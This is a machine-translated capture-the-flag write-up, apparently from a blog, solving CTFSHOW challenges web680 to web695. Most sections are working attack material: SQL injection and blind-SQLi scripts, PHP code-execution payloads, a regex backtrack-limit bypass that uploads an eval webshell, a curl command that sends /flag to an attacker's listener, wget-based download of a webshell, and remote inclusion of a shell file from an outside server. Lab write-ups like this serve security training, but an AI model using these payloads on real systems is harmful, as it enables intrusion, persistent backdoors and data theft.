Título original do concurso CTFSHOW (web680-web695)

Porque há muitos tópicos, tantos lugares são escritos de forma relativamente breve, espero que os mestres entendam e desejo que todos se tornem mais fortes!

Título original da competição CTFSHOW

web680

code=phpinfo();
Primeiro, olhe para disable_function, existem vários filtros. E open_basedir faz restrições de diretório.
r Em seguida, olhe para os arquivos no diretório atual.Se você
code=var_dump(scandir("."));
encontrar um arquivo secret_you_never_know
, você pode obter o sinalizador acessando-o diretamente. . . . . . (grande sem palavras)

web681

Ao fazer login, pegue um pacote.Por exemplo, se passarmos name=123, a instrução sql será retornada
select count(*) from ctfshow_users where username = '123' or nickname = '123'
e, em seguida, tentaremos as aspas simples e descobriremos que ele será engolido.
Em seguida, tente a barra invertida,
select count(*) from ctfshow_users where username = '123\' or nickname = '123\'
que é equivalente a execução.Então
select count(*) from ctfshow_users where username = 'xxx'123\'
, primeiro, toda a senha universal
name=||1# A
instrução final é
select count(*) from ctfshow_users where username = '||1#\' or nickname = '||1#\'
equivalente
select count(*) from ctfshow_users where username = 'xxxxx‘||1#\'
e, em seguida, o sinalizador é emitido.
insira a descrição da imagem aqui

web682

Na verdade, é muito simples obter o js não criptografado
por trás da dica, mas é mais problemático
insira a descrição da imagem aqui

import hashlib
string="0123456789abcdef"
for i in string:
    for j in string:
        for k in string:
            for l in string:  
                aaa=i+j+k+l               
                out1 = hashlib.sha256(aaa).hexdigest()
                if(out1=='c578feba1c2e657dba129b4012ccf6a96f8e5f684e2ca358c36df13765da8400'):
                    print(aaa)
                if(out1=='f9c1c9536cc1f2524bc3eadc85b2bec7ff620bf0f227b73bcb96c1f278ba90dc'):
                    print(aaa)

get ctfshow{592b9d77
insira a descrição da imagem aqui
get ctfshow{592b9d77-9dda
insira a descrição da imagem aquiget ctfshow{592b9d77-9dda-4e30
insira a descrição da imagem aqui
get é na verdade base32 ctfshow{592b9d77-9dda-4e30-94a4
insira a descrição da imagem aqui
, apenas decodifique base32 diretamente
ctfshow{592b9d77-9dda-4e30-94a4-5e64f4499a52}

import hashlib
string="0123456789abcdef"
for i in string:
     if hashlib.sha224(i).hexdigest()=='abd37534c7d9a2efb9465de931cd7055ffdb8879563ae98078d6d6d5':
         print(i)

web683

carga útil de desvio hexadecimal
:
?秀=0x76a699

web684

Semelhante à carga útil web147
anterior :
?action=%5ccreate_function&arg=}system("cat /secret_you_never_know");//

web685

Ponto de inspeção: use os tempos máximos regulares de retrocesso para contornar

Para evitar ataques de negação de serviço de expressão regular (reDOS), o PHP define um limite superior para tempos de retrocesso para pcre.pcre.backtrack_limit O
limite superior padrão para tempos de retrocesso é 1 milhão. Se o número de retrocessos exceder 1 milhão, preg_match não retornará mais não-1 e 0, mas falso. Dessa forma, podemos ignorar expressões regulares.
O script python é o seguinte

import requests
url="http://3c7c34aa-52d3-48d2-9dec-3679a65588c9.challenge.ctf.show/"
files={
    
    
	'file':'<?php eval($_POST[1]);?>'+'b'*1000000
}
r=requests.post(url,files=files)
for i in range(0,10):
	u=url+'data/{0}.php'.format(i)
	r=requests.post(u,data={
    
    '1':'system("cat /secret_you_never_know;echo yu22x");'})
	if 'yu22x' in r.text:
		print(r.text)

web686

Site de teste: Sem parâmetro rce
Para métodos específicos, consulte a boneca de aninhamento proibida do GXYCTF
ou este artigo https://blog.csdn.net/weixin_46330722/article/details/110840156
payload:
?code=system(pos(getallheaders()));
getallheaders() Obtém informações do cabeçalho da solicitação
pos() Retorna o valor do elemento atual no array (geralmente o primeiro)
e retorna em getallheaders X-Forwarded-For é geralmente o primeiro no array de , então podemos modificar diretamente este cabeçalho de solicitação.
insira a descrição da imagem aqui
insira a descrição da imagem aqui

web687

Uma pergunta%0a muito simples ignora a carga útil do tubo de filtro
:
1%0acat /f*%0a

web688

O objetivo do título é, obviamente, deixar-nos tirar o conteúdo do arquivo através do curl, que podemos usar em circunstâncias normais.O curl url -F file=@/flag
resto é como contornar o filtro.
O uso de escapeshellarg e escapeshellcmd juntos causará alguns problemas
, como o código a seguir

<?php 
$a = "1' xxx";
$a = escapeshellarg($a);
$a = escapeshellcmd($a);
echo $a;

O conteúdo de saída final é o '1'\\'' xxx\'
conteúdo específico pode ser dividido em '1' \\ '' xxx \'cinco partes,
duas barras invertidas juntas não farão mais o papel de escapar, ou seja, podemos escapar das aspas simples. Mas no final há uma aspa simples extra, para que você possa escrever outra, e o xxx nela é o conteúdo que queremos usar, ou seja,
-F file=@/flag
a carga útil é
http://监听使用的ip:port' -F file=@/flag'
como,
http://127.0.0.1:4567' -F file=@/flag'
mas no processo de teste local, é encontrada que um URL de erro será relatado usando formato incorreto/ilegal ou ausente O URL
precisa adicionar uma barra à
carga:
url=http://ip:port/' -F file=@/flag '

web689

O site de teste é ssrf
. O arquivo de parâmetro que passamos deve começar com http://127.0.0.1/ e o caminho não pode tê-lo.
Se passarmos
?file=http://127.0.0.1/&path=<?php phpinfo();?>
, a página exibirá o seguinte conteúdo.
insira a descrição da imagem aqui
O que acontecerá se o arquivo que passamos é substituído pelo url atual? Você escreveu esta página
para que a carga útil
?file=http://127.0.0.1/?file=http://127.0.0.1/%26path=<?php phpinfo();?>&path=a.php
insira a descrição da imagem aqui

Isso é um pouco confuso, se você não entender, pode perguntar diretamente na área de comentários.

web690

Os parâmetros de entrada só podem ter sublinhados de números e letras, mas podemos usar a nova linha %0a para ignorá-los, assim como %0a também tem um efeito semelhante a um ponto e vírgula.
A questão a seguir é como chegar ao rce.
Por causa do limite de caracteres e sem eco, é um pouco difícil executar diretamente o comando list directory read file. Então a forma que pensamos é escrever um arquivo, mas isso não é muito fácil de fazer, então só podemos pensar em pegar um arquivo de outros lugares, uma forma melhor é fazer o download através do wget.
No entanto, também haverá outros símbolos no ip, então temos que usar o decimal do ip ( site da ferramenta )
para testar localmente e descobrir que os serviços iniciados diretamente com apache ou nginx relatarão um eco de 400.
Então eu usei python para criar um web service na porta 80 localmente
python -m SimpleHTTPServer 80, crie um index.html no diretório atual, e o wget fará o download do
arquivo Contents of the file

<?php 
file_put_contents("shell.php",'<?php eval($_POST[1]);?>');
?>

Então o primeiro passo é baixar o arquivo, mas antes disso, criamos uma pasta, entramos nessa pasta e então obtemos, o motivo específico está relacionado aos passos a seguir.
args[]=1%0a&args[]=mkdir&args[]=a%0a&args[]=cd&args[]=a%0a&args[]=wget&args[]=ip的十进制
Equivalente a executar o comando

./ 1
mkdir a
cd a
wget xxxxx

Neste momento, você já tem um index.html no diretório a,
então só precisamos usar o comando php para executá-lo, mas ainda há um problema com (.) no nome do arquivo (index.html).
Então, o próximo passo é como mudar o nome.
Uma maneira melhor é usar o comando tar. Se compactarmos a pasta, o conteúdo da pasta será totalmente preservado no arquivo compactado.
args[]=1%0a&args[]=tar&args[]=cvf&args[]=shell&args[]=a
é equivalente a executar

tar cvf shell a

Empacote a pasta a em um shell.
Para que possamos executar o código php
args[]=1%0a&args[]=php&args[]=shell

Resumir

本地创建一个index.html,内容为写一句话木马
<?php 
file_put_contents("shell.php",'<?php eval($_POST[1]);?>');
?>

同一目录下起一个web服务
python -m SimpleHTTPServer 80

//下载文件
args[]=1%0a&args[]=mkdir&args[]=a%0a&args[]=cd&args[]=a%0a&args[]=wget&args[]=ip十进制

//打包文件使文件名可用
args[]=1%0a&args[]=tar&args[]=cvf&args[]=shell&args[]=a

//执行php文件
args[]=1%0a&args[]=php&args[]=shell

最后访问/shell.php就可以用刚才写的一句话木马了。

web691

O tamanho do pedido é relativamente cego, você pode consultar um artigo
escrito anteriormente , nosso objetivo é muito claro, ou seja, obter o valor da coluna de senha.
Em primeiro lugar, podemos adivinhar que há três colunas no total por ordem, então podem ser as três colunas de id, nome de usuário e senha. Precisamos ir para a terceira coluna para observar cegamente, então classificando pela terceira coluna também é ordenada por 3.
A imagem abaixo facilita o entendimento. Quando a coluna de senha de nossa união for maior que a coluna de senha realmente armazenada na tabela, a primeira linha no resultado da consulta união exibirá a coluna de senha realmente armazenada na tabela.
insira a descrição da imagem aqui
Então para esta questão, você pode ver as duas figuras a seguir: Quando é d, ele retorna admin, indicando que d é maior que o primeiro caractere da senha real, então o caractere real é c.
insira a descrição da imagem aqui
insira a descrição da imagem aqui

É um pouco prolixo, então vamos direto ao roteiro.

import requests
import string
s=".0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
url="http://350eb77e-284a-4268-bf49-058f67ca4c85.challenge.ctf.show/"
data={
    
    
	'username':"or 1 union select 1,2,'{}' order by 3#",
	'password':'1'
}
k="ctfshow{10a1a24d-3548-4785-9e2b-9d8a6ad37"
for i in range(1,50):
	print(i)
	for j in s:
		data={
    
    
		'username':"' or 1 union select 1,2,'{0}' order by 3#".format(k+j),
		'password':'1'
	}
		r=requests.post(url,data=data)
		#print(data['username'])
		if("</code>admin" in r.text):
			k=k+chr(ord(j)-1)
			print(k)
			break

Um pequeno bug e, finalmente, mude | para } e envie-o.

web692

insira a descrição da imagem aqui
insira a descrição da imagem aqui
Se o segundo parâmetro em preg_replace for %00, que é 0 em ascii, ele corresponderá a toda a string.
Por exemplo, se a string inicial for
$option='123';
executada
preg_replace("$option='.*';","\x00",$a)
, o resultado retornado é
$option='$option='123';';
que a string original é colocada entre aspas simples novamente.
Suponha que primeiro passemos option=;phpinfo();//
Primeiro o conteúdo em config.php será substituído por $option=';phpinfo();//'.
Se passarmos option=%00 pela segunda vez,
o resultado final é $option='$option=';phpinfo();//''
que as aspas simples escapam e phpinfo() é executado com sucesso

carga útil

option=;eval($_POST[1]);//
option=%00

Você pode pegar a bandeira com um cavalo de Tróia em uma frase.

web693

O ponto é este código

    $func = isset($_GET['function'])?$_GET['function']:'filters'; 
    call_user_func($func,$_GET);
    include($file);

Podemos chamar uma função e haverá um arquivo contendo ela, mas o parâmetro dessa função é um array.
É fácil pensar em alterar o valor de $file sobrescrevendo a variável de extração.
Primeiro, li function.php e admin.php, e descobri que era inútil por enquanto

?function=extract&file=php://filter/convert.base64-encode/resource=function.php
?function=extract&file=php://filter/convert.base64-encode/resource=admin.php
//function.php
<?php
function filters($data){
    
    
    foreach($data as $key=>$value){
    
    
        if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){
    
    
            die('Do not hack me!');
        }
    }
}
?>

//admin.php
<?php
if(empty($_SESSION['name'])){
    
    
    session_start();
    echo 'hello ' + $_SESSION['name'];
}else{
    
    
    die('you must login with admin');
}
?>

Em seguida, tente incluir o arquivo remoto e descubra que é realmente possível.É ?function=extract&file=http://www.baidu.com
simples, basta incluir um cavalo de Tróia de uma frase em seu próprio vps.

//shell.txt
<?php eval($_POST[1]);?>

GET:
?function=extract&file=http://101.34.94.44/shell.txt
POST:
1=system('cat /f*');

web694

A emenda geral xxxxx/a.php/.
insira a descrição da imagem aqui
O caminho final é
/var/www/html/a.php/.
Isso criará um arquivo a.php.

web695

koajs

https://github.com/koajs/koa-body/issues/75
Se o formato do corpo do json for carregado na rota de upload do arquivo, o caminho será analisado no local do arquivo carregado e salvo no arquivo correspondente.
{"files":{"file":{"name":"yu22x","path":"/etc/passwd"}}}
carga útil:

{"files":{"file":{"name":"xiaoyue","path":"flag"}}}

insira a descrição da imagem aqui
Em seguida, downloadfile/id pode baixar o arquivo de sinalização.

Acho que você gosta

Origin blog.csdn.net/miuzzx/article/details/122998220
Recomendado
Clasificación